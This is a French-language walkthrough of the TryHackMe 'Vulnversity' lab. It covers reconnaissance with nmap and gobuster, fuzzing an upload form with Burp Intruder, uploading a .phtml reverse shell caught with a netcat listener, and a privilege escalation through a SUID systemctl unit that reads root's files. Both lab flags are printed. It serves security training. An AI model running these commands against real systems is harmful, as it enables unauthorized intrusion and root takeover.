Learn about active recon, web app attacks and privilege escalation.
https://tryhackme.com/room/vulnversity
Reconnaissance
root@ip-10-10-33-100:~# nmap -sC -sV 10.10.112.14
Starting Nmap 7.60 ( https://nmap.org ) at 2022-12-23 22:24 GMT
Nmap scan report for ip-10-10-112-14.eu-west-1.compute.internal (10.10.112.14)
Host is up (0.013s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5a:4f:fc:b8:c8:76:1c:b5:85:1c:ac:b2:86:41:1c:5a (RSA)
| 256 ac:9d:ec:44:61:0c:28:85:00:88:e9:68:e9:d0:cb:3d (ECDSA)
|_ 256 30:50:cb:70:5a:86:57:22:cb:52:d9:36:34:dc:a5:58 (EdDSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Vuln University
MAC Address: 02:25:0A:FD:F9:6B (Unknown)
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: vulnuniversity
| NetBIOS computer name: VULNUNIVERSITY\x00
| Domain name: \x00
| FQDN: vulnuniversity
|_ System time: 2022-12-23T17:24:44-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-12-23 22:24:45
|_ start_date: 1600-12-31 23:58:45
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.38 seconds
Il y a 6 ports ouverts. Le service web fonctionne sur le port 3333. Le proxy Squid utilise la version 3.5.12.
Gobuster
root@ip-10-10-33-100:~/Desktop/Tools/wordlists/dirbuster# gobuster dir -u http://10.10.112.14:3333/ -w directory-list-2.3-small.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.112.14:3333/
[+] Threads: 10
[+] Wordlist: directory-list-2.3-small.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2022/12/23 22:28:05 Starting gobuster
===============================================================
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)
/internal (Status: 301)
===============================================================
2022/12/23 22:28:13 Finished
===============================================================
On peut passer par le répertoire /internal
pour uploader un formulaire.
Compromission du serveur
On ne peut pas uploader de fichier .php. L’extension .php n’est pas autorisée.
Pour identifier les extensions acceptées par le formulaire d’upload, on va faire du fuzzing. Pour cela, on utilisera BurpSuite. On utilisera Intruder.
On va d’abord créer un fichier avec quelques extensions (php, php3, phtml, …..).
Ensuite on s’assure que BurpSuite est configuré pour intercepter tout le trafic. On uploade un fichier. Une fois que la requête est capturée, on l’envoie à Intruder. On clique sur « Payloads » et on sélectionne l’attaque « sniper« . Dans l’onglet « Positions« , on trouve le nom du fichier et on clique sur « Add § » pour l’extension.
Avant de lancer l’attaque, on charge notre petit dictionnaire d’extensions dans l’onglet « Payloads » et on lance l’attaque.
Cette attaque nous permet de savoir qu’un fichier avec l’extension .phtml peut être uploadé.
Il suffit de downloader ce reverse shell. On modifie IP et port puis on l’uploade.
Puis on lance un listener sur notre machine.
Enfin, on exécute notre fichier en allant à l’adresse http://10.10.112.14:3333/internal/uploads/shell.phtml
root@ip-10-10-33-100:~# nc -lvnp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 10.10.112.14 43528 received!
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
17:55:26 up 32 min, 0 users, load average: 0.00, 0.00, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Ce qui nous permet de récupérer le nom de l’administrateur du système ainsi que le flag utilisateur.
Enfin, il nous faut élever nos privilèges pour passer en mode root.
Après avoir stabilisé le shell, on effectue un sudo -l
mais nous n’avons pas le mot de passe de www-data. Il nous faut trouver un autre moyen…
$ ls
bill
$ cd bill
$ ls
user.txt
$ cat user.txt
8bd7992fbe8a6ad22a63361004cfcedb
$ sudo -l
sudo: no tty present and no askpass program specified
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@vulnuniversity:/home/bill$ sudo -l
sudo -l
[sudo] password for www-data:
On va lister les fichiers ayant un bit SUID.
www-data@vulnuniversity:/$ find / -type f -perm -04000 -ls 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null
402892 36 -rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newuidmap
393361 52 -rwsr-xr-x 1 root root 49584 May 16 2017 /usr/bin/chfn
402893 36 -rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newgidmap
393585 136 -rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo
393363 40 -rwsr-xr-x 1 root root 40432 May 16 2017 /usr/bin/chsh
393501 56 -rwsr-xr-x 1 root root 54256 May 16 2017 /usr/bin/passwd
406711 24 -rwsr-xr-x 1 root root 23376 Jan 15 2019 /usr/bin/pkexec
393490 40 -rwsr-xr-x 1 root root 39904 May 16 2017 /usr/bin/newgrp
393424 76 -rwsr-xr-x 1 root root 75304 May 16 2017 /usr/bin/gpasswd
405497 52 -rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at
406941 100 -rwsr-sr-x 1 root root 98440 Jan 29 2019 /usr/lib/snapd/snap-confine
406710 16 -rwsr-xr-x 1 root root 14864 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
405145 420 -rwsr-xr-x 1 root root 428240 Jan 31 2019 /usr/lib/openssh/ssh-keysign
393687 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
666971 76 -rwsr-xr-x 1 root root 76408 Jul 17 2019 /usr/lib/squid/pinger
402037 44 -rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
402829 40 -rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
131164 40 -rwsr-xr-x 1 root root 40128 May 16 2017 /bin/su
133166 140 -rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g
131133 40 -rwsr-xr-x 1 root root 40152 May 16 2018 /bin/mount
131148 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
131182 28 -rwsr-xr-x 1 root root 27608 May 16 2018 /bin/umount
131166 648 -rwsr-xr-x 1 root root 659856 Feb 13 2019 /bin/systemctl
131147 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
133163 32 -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount
405750 36 -rwsr-xr-x 1 root root 35600 Mar 6 2017 /sbin/mount.cifs
Un fichier ressort en particulier: /bin/systemctl
Passons par gtfobins: https://gtfobins.github.io/gtfobins/systemctl/
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
www-data@vulnuniversity:/$ TF=$(mktemp).service
TF=$(mktemp).service
www-data@vulnuniversity:/$ echo '[Service]
echo '[Service]
> Type=oneshot
Type=oneshot
> ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
> [Install]
[Install]
> WantedBy=multi-user.target' > $TF
WantedBy=multi-user.target' > $TF
www-data@vulnuniversity:/$ /bin/systemctl link $TF
/bin/systemctl link $TF
Created symlink from /etc/systemd/system/tmp.cf5XjnmzjK.service to /tmp/tmp.cf5XjnmzjK.service.
www-data@vulnuniversity:/$ /bin/systemctl enable --now $TF
/bin/systemctl enable --now $TF
Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.cf5XjnmzjK.service to /tmp/tmp.cf5XjnmzjK.service.
www-data@vulnuniversity:/$
Et on récupère le flag root !
www-data@vulnuniversity:/$ cat /tmp/output
cat /tmp/output
a58ff8579f0a9270368d33a9966c7fd5